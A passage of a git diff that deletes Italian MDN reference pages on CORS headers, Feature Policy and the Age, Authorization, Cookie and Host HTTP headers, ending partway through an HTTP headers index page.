class="internal" href="#Requests_with_credentials">Credentialed requests</a> are discussed above.</p> - -<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3> - -<p>The {{HTTPHeader("Access-Control-Allow-Methods")}} header specifies the method or methods allowed when accessing the resource. This is used in response to a preflight request. The conditions under which a request is preflighted are discussed above.</p> - -<pre class="brush: none">Access-Control-Allow-Methods: <method>[, <method>]* -</pre> - -<p>An example of a <a class="internal" href="#Preflighted_requests">preflight request is given above</a>, including an example which sends this header to the browser.</p> - -<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3> - -<p>The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a <a class="internal" href="#Preflighted_requests">preflight request</a> to indicate which HTTP headers can be used when making the actual request.</p> - -<pre class="brush: none">Access-Control-Allow-Headers: <field-name>[, <field-name>]* -</pre> - -<h2 id="The_HTTP_request_headers">The HTTP request headers</h2> - -<p>This section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site {{domxref("XMLHttpRequest")}} capability do not have to set any cross-origin sharing request headers programmatically.</p> - -<h3 id="Origin">Origin</h3> - -<p>The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request.</p> - -<pre class="brush: none">Origin: <origin> -</pre> - -<p>The origin is a URI indicating the server from which the request initiated. It does not include any path information, but only the server name.</p> - -<div class="note"><strong>Note:</strong> The <code>origin</code> can be the empty string; this is useful, for example, if the source is a <code>data</code> URL.</div> - -<p>Note that in any access control request, the {{HTTPHeader("Origin")}} header is <strong>always</strong> sent.</p> - -<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3> - -<p>The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.</p> - -<pre class="brush: none">Access-Control-Request-Method: <method> -</pre> - -<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above.</a></p> - -<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3> - -<p>The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.</p> - -<pre class="brush: none">Access-Control-Request-Headers: <field-name>[, <field-name>]* -</pre> - -<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above</a>.</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td>New definition; supplants <a href="https://www.w3.org/TR/cors/">W3C CORS</a> specification.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> - -<h3 id="Compatibility_notes">Compatibility notes</h3> - -<ul> - <li>Internet Explorer 8 and 9 expose CORS via the <code>XDomainRequest</code> object, but have a full implementation in IE 10.</li> - <li>While Firefox 3.5 introduced support for cross-site <code>XMLHttpRequests</code> and Web Fonts, certain requests were limited until later versions. Specifically, Firefox 7 introduced the ability for cross-site HTTP requests for WebGL Textures, and Firefox 9 added support for Images drawn on a canvas using <code>drawImage()</code>.</li> -</ul> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> - <li><a href="https://enable-cors.org/server.html">Enable CORS: I want to add CORS support to my server</a></li> - <li>{{domxref("XMLHttpRequest")}}</li> - <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li> - <li><a class="external" href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx">Using CORS with All (Modern) Browsers</a></li> - <li><a href="http://www.html5rocks.com/en/tutorials/cors/">Using CORS - HTML5 Rocks</a> - <ul> - </ul> - </li> - <li><a class="external" href="https://arunranga.com/examples/access-control/">Code Samples Showing <code>XMLHttpRequest</code> and Cross-Origin Resource Sharing</a></li> - <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Client-Side & Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)</a></li> - <li><a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)</a></li> - <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Stack Overflow answer with “how to” info for dealing with common problems</a>: - <ul> - <li>How to avoid the CORS preflight</li> - <li>How to use a CORS proxy to get around <em>“No Access-Control-Allow-Origin header”</em></li> - <li>How to fix <em>“Access-Control-Allow-Origin header must not be the wildcard”</em></li> - </ul> - </li> -</ul> - -<div>{{HTTPSidebar}}</div> diff --git a/files/it/web/http/feature_policy/index.html b/files/it/web/http/feature_policy/index.html deleted file mode 100644 index 921233b391..0000000000 --- a/files/it/web/http/feature_policy/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: Feature Policy -slug: Web/HTTP/Feature_Policy -translation_of: Web/HTTP/Feature_Policy ---- -<div>{{HTTPSidebar}}</div> - -<p class="summary"><span class="seoSummary">La Funzionalità di policy consente agli sviluppatori web di abilitare, disabilitare e modificare il comportamento di certe funzionalità e API all'interno del browser . E' simile a </span> {{Glossary("CSP", "Content Security Policy")}} ma controlla le funzionalità anzichè il comportamento di sicurezza.</p> - -<div class="note"> -<p>The <code>Feature-Policy</code> l'intestazione è stata rinominata in Permissions-Policy nella specifica, ed eventualmente questo articolo verrà aggiornato per riflettere tale modifica.</p> -</div> - -<h2 id="In_poche_parole">In poche parole</h2> - -<p>Feature Policy(politiche sulla funzionalità) fornisce un metodo per dichiarare esplicitamente quale funzione viene utilizzata(o non utilizzata) in tutto il sito web. Ciò permette di mantenere le migliori condizioni applicative, anche se la base del codice evolve nel tempo — come nel caso dell'utilizzo più sicuro di contenuti di terze parti — limitandosi alle funzionalità disponibili.</p> - -<p>Con le Feature Policy, ti rivolgi ad un insieme di "politiche" affinchè il browser applichi funzionalità specifiche utilizzate nel sito web. Queste politiche limitano le API a cui il sito può accedere o modificare il comportamento predefinito del browser per alcune funzionalità.</p> - -<p>Esempi di quello che puoi fare con le Feature Policy:</p> - -<ul> - <li>Modifica il comportamento predefinito della riproduzione automatica su dispositivi mobili e video di terze parti.</li> - <li>Impedisce a un sito di utilizzare API sensibili come quelle che utilizzano fotocamera o microfono.</li> - <li>Permette agli iframes di utilizzare (API a schermo intero)<a href="/en-US/docs/Web/API/Fullscreen_API">fullscreen API</a>.</li> - <li>Blocca l'utilizzo di API absolete come: <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">synchronous XHR</a> e {{domxref("document.write()")}}.</li> - <li>Assicurarsi che le immagini siano dimensionate correttamente e non siano troppo grandi per la visualizzazione.</li> -</ul> - -<h2 id="Concetti_e_utilizzo">Concetti e utilizzo</h2> - -<p>Le Feature Policy permettono di controllare quali origini possono usare le funzionalità, sia nella pagina di primo livello che nei frame incorporati. In sostanza, scrivere una policy, che è un elenco autorizzato di origini per ciascuna funzionalità. per ogni funzionalità controllata dalle Feature Policy, la funzionalità è abilitata solamente nel documento o frame corrente se la sua origine corrisponde all'elenco di origini autorizzate.</p> - -<p>Per ognuna delle funzionalità controllata dalle policy, il browser conserva un elenco di origini per la quale la funzionalità è abilitata, è noto come allowlist(elenco consentito). Se non specifichi una policy per una funzionalità, verrà utilizzato un elenco di autorizzazioni predefinito. L'elenco predefinito è specifico per ciascuna funzionalità.</p> - -<h3 id="Scrivere_una_Politica">Scrivere una Politica</h3> - -<p>Una politica viene descritta utilizzando una serie di direttive politiche individuali. Una direttiva politica è una combinazione di un nome di una funzionalità definita e un elenco di origini consentite che possono utilizzare la funzionalità.</p> - -<h3 id="Specificare_la_tua_politica">Specificare la tua politica</h3> - -<p> Le Feature Policy offrono due modi per specificare le politiche per controllare le funzionalità:</p> - -<ul> - <li>The {{httpheader("Feature-Policy")}} nel HTTP header.(HTTP header)</li> - <li>The {{HTMLElement("iframe","<code>allow</code>","#Attributes")}} attributi di iframes.</li> -</ul> - -<p>La differenza principale tra intestazione HTTP e l'attributo <code>allow</code> è che l'attributo allow controlla solo le funzionalità all'interno di un iframe. L'intestazione controlla caratteristiche della risposta e qualsiasi contenuto incorporato nella pagina.</p> - -<p>Per maggiori dettagli guardare <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a>.</p> - -<h3 id="Inferring_the_policy">Inferring the policy</h3> - -<p>Gli script possono eseguire query in modo da ottenere delle informazioni sulle policy delle funzionalità tramite:</p> - -<p>{{DOMxRef("FeaturePolicy")}} situato in {{DOMxRef("Document.featurePolicy")}} o {{DOMxRef("HTMLIFrameElement.featurePolicy")}}.</p> - -<h2 id="Tipi_di_funzionalità_controllate_da_criteri">Tipi di funzionalità controllate da criteri</h2> - -<p>Sebbene le Feature Policy forniscano il controllo di più funzionalità utilizzando una sintassi coerente, il comportamento delle funzionalità controllate dalle politiche varia, e dipende da diversi fattori.</p> - -<p>Il principio generale è che dovrebbe esserci un modo intuitivo o univoco per gli sviluppatori web di rilevare o gestire il caso in cui la funzione è disablitata. Le nuove funzionalità introdotte possono avere un'API esplicita per segnalare lo stato. Le funzionalità esistenti che successivamente si integrano con le Feature Policy utilizzeranno in genere i meccanismi esistenti. Alcuni metodi includono:</p> - -<ul> - <li>Restituisce "permission denied" per le APi javascript che richiedono permessi per autorizzazioni utenti.</li> - <li>Restituisce <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false </span></font>o errore da una API javascript esistente che fornisce l'accesso alla funzionalità.</li> - <li>Modifica i valori predefiniti o le opzioni che controllano il comportamento della funzionalità.</li> -</ul> - -<p>L'attuale insieme di funzionalità gestite dalle politiche si dividono in due grandi gruppi:</p> - -<ul> - <li>Applicazione delle migliori pratiche per una buona esperienza utente.</li> - <li>Fornire un controllo granulare su funzionalità sensibili o potenti.</li> -</ul> - -<h3 id="Le_abitudini_migliori_per_una_buona_esperienza_utente">Le abitudini migliori per una buona esperienza utente</h3> - -<p>Sono disponibili diverse funzionalità controllate da criteri per applicare le migliori pratiche per fornire una buone prestazioni e esperienze utente.</p> - -<p>Nella maggior parte dei casi le funzionalità controllate dai criteri, rappresentano funzionalità che, se utilizzate, avranno un impatto negativo sull'esperienza utente. Per evitare di interropere il contenuto web esistente, l'impostazione predefinita per tali funzionalità, è consentirne l'utilizzo da parte di tutte le origini. Le procedure consigliate quindi, vengono applicate utilizzando criteri che disabilitano la funzionalità di altri criteri. Per ulteriori dettagli vedere "Enforcing best practices for good user experiences".</p> - -<p>Le funzionalità includono:</p> - -<ul> - <li>Layout-inducing animations</li> - <li>Formato delle immagini precedenti</li> - <li>Immagini di grandi dimensioni</li> - <li>Scripts sincronizzati</li> - <li>Synchronous XMLHTTPRequest</li> - <li>immagini non ottimizzate</li> - <li>supporti non dimensionati</li> -</ul> - -<h3 id="Controllo_granulare_su_alcune_funzionalità">Controllo granulare su alcune funzionalità</h3> - -<p>Il Web fornisce funzionalità e API che potrebbero comportare rischi per la privacy o la sicurezza se utilizzati in modo improprio. In alcuni casi potresti voler limitare il modo in cui questa funzionalità viene utilizzata su un sito web. Esistono funzionalità controllate da criteri per consentire l'abilitazione/disabilitazione della funzionalità per origini o frame specifici all'iterno di un sito web. Dove disponibile la funzionalità si integra con l'API di autorizzazione o con i meccanismi specifici di funzionalità per verificare se la funzione è disponibile.</p> - -<p>Le funzionalità includono (guarda <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy#Directives">Features list</a>):</p> - -<ul> - <li>Accelerometro</li> - <li>Sensore di luminosità ambientale</li> - <li>Riproduzione automatica</li> - <li>Fotocamera</li> - <li>Media crittografati</li> - <li>Schermo intero</li> - <li>Geolocalizzazione</li> - <li>Giroscopio</li> - <li>Magnetometro</li> - <li>Microfono</li> - <li>Midi</li> - <li>Richieste di pagamento</li> - <li>Picture-in-picture</li> - <li>USB</li> - <li>API di condivisione web</li> - <li>VR / XR</li> -</ul> - -<h2 id="Examples">Examples</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a></li> - <li>Guarda <a href="http://feature-policy-demos.appspot.com/">Feature Policy Demos</a> per esempio l'utilizzo di molte politiche.</li> -</ul> - -<h2 id="Specifiche">Specifiche</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specifica</th> - <th scope="col">Stato</th> - <th scope="col">Commento</th> - </tr> - <tr> - <td>{{SpecName("Feature Policy","#feature-policy-http-header-field","Feature-Policy")}}</td> - <td>{{Spec2("Feature Policy")}}</td> - <td>Definizione iniziale. Definisce l'intestazione {{httpheader("Feature-Policy")}} . LE direttive sono definite nelle specifiche per le funzionalità che controllano. Vedere le pagine delle singole direttive per i dettagli.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se desideri contribuire ai dati, visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> einviaci una richiesta.</div> - -<p>{{Compat("http.headers.Feature-Policy")}}</p> - -<h2 id="Guarda_anche">Guarda anche:</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a></li> - <li>{{HTTPHeader("Feature-Policy")}} HTTP header</li> - <li>{{HTMLElement("iframe","<code>allow</code>","#Attributes")}} attribute on iframes</li> - <li><a href="https://developers.google.com/web/updates/2018/06/feature-policy">Introduction to Feature Policy</a></li> - <li><a href="https://www.chromestatus.com/features#component%3A%20Blink%3EFeaturePolicy">Feature policies on www.chromestatus.com</a></li> - <li><a href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop">Feature-Policy Tester (Chrome Developer Tools extension)</a></li> - <li><a href="/en-US/docs/Web/Privacy">Privacy, permissions, and information security</a></li> -</ul> diff --git a/files/it/web/http/headers/age/index.html b/files/it/web/http/headers/age/index.html deleted file mode 100644 index 5a4f1d20c3..0000000000 --- a/files/it/web/http/headers/age/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Age -slug: Web/HTTP/Headers/Age -translation_of: Web/HTTP/Headers/Age ---- -<div>{{HTTPSidebar}}</div> - -<p>L'header <code><strong>Age</strong></code> contiene il tempo in secondi di presenza dell'oggetto nella cache del proxy.</p> - -<p>L'header <code>Age</code> è solitamente prossimo allo zero. Se è <code>Age: 0</code>, è stato probabilmente da poco reperito dal server di origine; altrimenti viene calcolato come la differenza tra la data corrente del proxy e l' {{HTTPHeader("Date")}} header incluso nella risposta HTTP.</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">Header type</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>no</td> - </tr> - </tbody> -</table> - -<h2 id="Sintassi">Sintassi</h2> - -<pre class="syntaxbox">Age: <delta-seconds> -</pre> - -<h2 id="Direttive">Direttive</h2> - -<dl> - <dt><delta-seconds></dt> - <dd> - <p>Un intero non negativo, che rappresenta il tempo in secondi di presenza dell'oggetto nella cache del proxy.</p> - </dd> -</dl> - -<h2 id="Esempi">Esempi</h2> - -<pre>Age: 24</pre> - -<h2 id="Specifiche">Specifiche</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7234", "Age", "5.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> - </tr> - </tbody> -</table> - -<h2 id="Compatibilità_Browser">Compatibilità Browser</h2> - -<p class="hidden">La tabella di compatibilità di questa pagina è generata dai dati strutturati. Se vuoi contribuire ai dati controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull request.</p> - -<p>{{Compat("http.headers.Age")}}</p> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li>{{HTTPHeader("Cache-Control")}}</li> - <li>{{HTTPHeader("Expires")}}</li> -</ul> diff --git a/files/it/web/http/headers/authorization/index.html b/files/it/web/http/headers/authorization/index.html deleted file mode 100644 index 0b732b40a2..0000000000 --- a/files/it/web/http/headers/authorization/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Authorization -slug: Web/HTTP/Headers/Authorization -tags: - - Riferimenti -translation_of: Web/HTTP/Headers/Authorization ---- -<div>{{HTTPSidebar}}</div> - -<p>La richiesta header HTTP <strong><code>Authorization</code></strong> contiene le credenziali per autenticare un utente con il server, solitamente dopo che il server ha risposto con {{HTTPStatus("401")}} <code>Unauthorized</code> status e con un header {{HTTPHeader("WWW-Authenticate")}} .</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">Tipo Header</th> - <td>{{Glossary("richiesta header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Header name proibito")}}</th> - <td>no</td> - </tr> - </tbody> -</table> - -<h2 id="Sintassi">Sintassi</h2> - -<pre class="syntaxbox">Authorization: <tipo> <credenziali></pre> - -<h2 id="Direttive">Direttive</h2> - -<dl> - <dt><tipo></dt> - <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Tipo di autenticazione</a>. Un tipo comune è <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>. Altri tipi sono: - <ul> - <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">IANA registry of Authentication schemes</a></li> - <li><a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Authentification for AWS servers (<code>AWS4-HMAC-SHA256</code>)</a></li> - </ul> - </dd> - <dt><credenziali></dt> - <dd>Se viene usato il tipo di autenticazione "Basic" le credenziali sono formate in questo modo: - <ul> - <li>Lo username e la password sono combinate con il simbolo dei due punti (<code>aladdin:opensesame</code>).</li> - <li>La stringa risultante è codificata in <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li> - </ul> - - <div class="note"> - <p><strong>Note</strong>: La codifica Base64 non significa che venga effettuato un hash o una cifratura! Questo metodo è sicuro tanto quanto mandare le credenziali in chiaro (base64 è un codifica reversibile). Preferibilmente usa la Basic Authentication assieme al protocollo HTTPS.</p> - </div> - </dd> -</dl> - -<h2 id="Esempi">Esempi</h2> - -<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l -</pre> - -<p>Guarda anche<a href="/en-US/docs/Web/HTTP/Authentication"> HTTP authentication</a> per esempi su come configurare i server Apache o nginx con password per proteggere i tuoi siti con l'autenticazione HTTP.</p> - -<h2 id="Specifiche">Specifiche</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7235", "Authorization", "4.2")}}</td> - <td>HTTP/1.1: Authentication</td> - </tr> - <tr> - <td>{{RFC("7617")}}</td> - <td>The 'Basic' HTTP Authentication Scheme</td> - </tr> - </tbody> -</table> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> - <li>{{HTTPHeader("WWW-Authenticate")}}</li> - <li>{{HTTPHeader("Proxy-Authorization")}}</li> - <li>{{HTTPHeader("Proxy-Authenticate")}}</li> - <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> -</ul> diff --git a/files/it/web/http/headers/cookie/index.html b/files/it/web/http/headers/cookie/index.html deleted file mode 100644 index b89fc207fd..0000000000 --- a/files/it/web/http/headers/cookie/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Cookie -slug: Web/HTTP/Headers/Cookie -tags: - - Cookies - - Guida - - HTTP - - header - - richiesta -translation_of: Web/HTTP/Headers/Cookie ---- -<div>{{HTTPSidebar}}</div> - -<p><strong><code>Cookie</code></strong> è un'header di richiesta HTTP che contiene i <a href="/en-US/docs/Web/HTTP/Cookies"> cookie HTTP</a> memorizzati, precedentemente inviati dal server tramite l'header {{HTTPHeader("Set-Cookie")}}.</p> - -<p>L' header <code>Cookie</code> è opzionale e può essere omesso, per esempio, se le impostazioni di privacy del browser bloccano i cookie.</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">Tipo header</th> - <td>{{Glossary("Request header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>si</td> - </tr> - </tbody> -</table> - -<h2 id="Sintassi">Sintassi</h2> - -<pre class="syntaxbox">Cookie: <cookie-list> -Cookie: name=value -Cookie: name=value; name2=value2; name3=value3</pre> - -<dl> - <dt><cookie-list></dt> - <dd>Una lista di coppie chiave-valore nel formato <code><cookie-name>=<cookie-value></code>. Le coppie nella lista sono separate da un punto e virgola e uno spazio (<code>'; '</code>).</dd> -</dl> - -<h2 id="Esempio">Esempio</h2> - -<pre>Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;</pre> - -<h2 id="Specifiche">Specifiche</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specifica</th> - <th scope="col">Titolo</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("6265", "Cookie", "5.4")}}</td> - <td>HTTP State Management Mechanism</td> - </tr> - </tbody> -</table> - -<h2 id="compatibilità_dei_browser">compatibilità dei browser</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("http.headers.Cookie")}}</p> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li>{{HTTPHeader("Set-Cookie")}}</li> - <li>{{domxref("Document.cookie")}}</li> -</ul> diff --git a/files/it/web/http/headers/host/index.html b/files/it/web/http/headers/host/index.html deleted file mode 100644 index 3963d6712d..0000000000 --- a/files/it/web/http/headers/host/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Host -slug: Web/HTTP/Headers/Host -tags: - - HTTP - - Host - - Italiano - - Reference - - header -translation_of: Web/HTTP/Headers/Host ---- -<div>{{HTTPSidebar}}</div> - -<p>L'header di richiesta <code><strong>Host</strong></code> nei messaggi HTTP specifica il nome di dominio del server (per l'hosting virtuale) e (opzionalmente) il numero di porta TPC su cui il server è in ascolto.</p> - -<p>Se non viene specificata nessuna porta, viene utilizzata quella di default del servizio richiesto (ad esempio "80" per HTTP).</p> - -<p>L'header <code>Host</code> deve essere inviato in tutte le richieste HTTP/1.1. Un codice di stato (status code) {{HTTPStatus("400")}} (Bad Request) verrà inviato in risposta a qualsiasi richiesta HTTP/1.1 che non dispone di un campo header <code>Host</code> o ne contiene più di uno.</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">Tipo di header</th> - <td>{{Glossary("Header di richiesta")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Nome header vietato")}}</th> - <td>Sì</td> - </tr> - </tbody> -</table> - -<h2 id="Sintassi">Sintassi</h2> - -<pre class="syntaxbox">Host: <host>:<porta> -</pre> - -<h2 id="Direttive">Direttive</h2> - -<dl> - <dt><host></dt> - <dd>il nome di dominio del server (per l'hosting virtuale).</dd> - <dt><porta> {{optional_inline}}</dt> - <dd>il numero di porta TCP su cui il server è in ascolto.</dd> -</dl> - -<h2 id="Esempi">Esempi</h2> - -<pre>Host: developer.mozilla.org</pre> - -<h2 id="Specifiche">Specifiche</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specifica</th> - <th scope="col">Titolo</th> - </tr> - <tr> - <td>{{RFC("7230", "Host", "5.4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> - </tr> - </tbody> -</table> - -<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2> - -<p class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se vuoi contribuire ai dati, per favore controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una richiesta.</p> - -<p>{{Compat("http.headers.Host")}}</p> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li>{{HTTPStatus("400")}}</li> - <li>{{HTMLElement("base")}}</li> -</ul> diff --git a/files/it/web/http/headers/index.html b/files/it/web/http/headers/index.html deleted file mode 100644 index 7d5b000ead..0000000000 --- a/files/it/web/http/headers/index.html +++ /dev/null @@ -1,368 +0,0 @@ ---- -title: HTTP headers -slug: Web/HTTP/Headers -tags: - - HTTP - - Headers - - NeedsTranslation - - Networking - - Reference - - TopicStub -translation_of: Web/HTTP/Headers ---- -<div>{{HTTPSidebar}}</div> - -<p>HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon '<code>:</code>', then by its value (without line breaks). Leading white space before the value is ignored.</p> - -<p>Custom proprietary headers can be added using the 'X-' prefix, but this convention was deprecated in June 2012, because of the inconveniences it caused when non-standard fields became standard in <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; others are listed in an <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a>, whose original content was defined in <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA also maintains a <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html">registry of proposed new HTTP message headers</a>.</p> - -<p>Headers can be grouped according to their contexts:</p> - -<ul> - <li>{{Glossary("General header")}}: Headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.</li> - <li>{{Glossary("Request header")}}: Headers containing more information about the resource to be fetched or about the client itself.</li> - <li>{{Glossary("Response header")}}: Headers with additional information about the response, like its location or about the server itself (name and version etc.).</li> - <li>{{Glossary("Entity header")}}: Headers containing more information about the body of the entity, like its content length or its MIME-type.</li> -</ul> - -<p>Headers can also be grouped according to how proxies handle them:</p> - -<dl> - <dt><a id="e2e" name="e2e"></a>End-to-end headers</dt> - <dd>These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them.</dd> - <dt><a id="hbh" name="hbh"></a>Hop-by-hop headers</dt> - <dd>These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.</dd> -</dl> - -<p>The following list summarizes HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.</p> - -<h2 id="Authentication">Authentication</h2> - -<dl> - <dt>{{HTTPHeader("WWW-Authenticate")}}</dt> - <dd>Defines the authentication method that should be used to gain access to a resource.</dd> - <dt>{{HTTPHeader("Authorization")}}</dt> - <dd>Contains the credentials to authenticate a user agent with a server.</dd> - <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt> - <dd>Defines the authentication method that should be used to gain access to a resource behind a Proxy server.</dd> - <dt>{{HTTPHeader("Proxy-Authorization")}}</dt> - <dd>Contains the credentials to authenticate a user agent with a proxy server.</dd> -</dl> - -<h2 id="Caching">Caching</h2> - -<dl> - <dt>{{HTTPHeader("Age")}}</dt> - <dd>The time in seconds the object has been in a proxy cache.</dd> - <dt>{{HTTPHeader("Cache-Control")}}</dt> - <dd>Specifies directives for caching mechanisms in both requests and responses.</dd> - <dt>{{HTTPHeader("Expires")}}</dt> - <dd>The date/time after which the response is considered stale.</dd> - <dt>{{HTTPHeader("Pragma")}}</dt> - <dd>Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the <code>Cache-Control</code> header is not yet present.</dd> - <dt>{{HTTPHeader("Warning")}}</dt> - <dd>A general warning field containing information about possible problems.</dd> -</dl> - -<h2 id="Client_hints">Client hints</h2> - -<dl> - <dt>{{HTTPHeader("Accept-CH")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Content-DPR")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("DPR")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Downlink")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Save-Data")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Viewport-Width")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Width")}}</dt> - <dd>...</dd> -</dl> - -<dl> - <dt> - <h2 id="Conditionals">Conditionals</h2> - </dt> - <dt>{{HTTPHeader("Last-Modified")}}</dt> - <dd>It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request.</dd> - <dt>{{HTTPHeader("ETag")}}</dt> - <dd>It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the 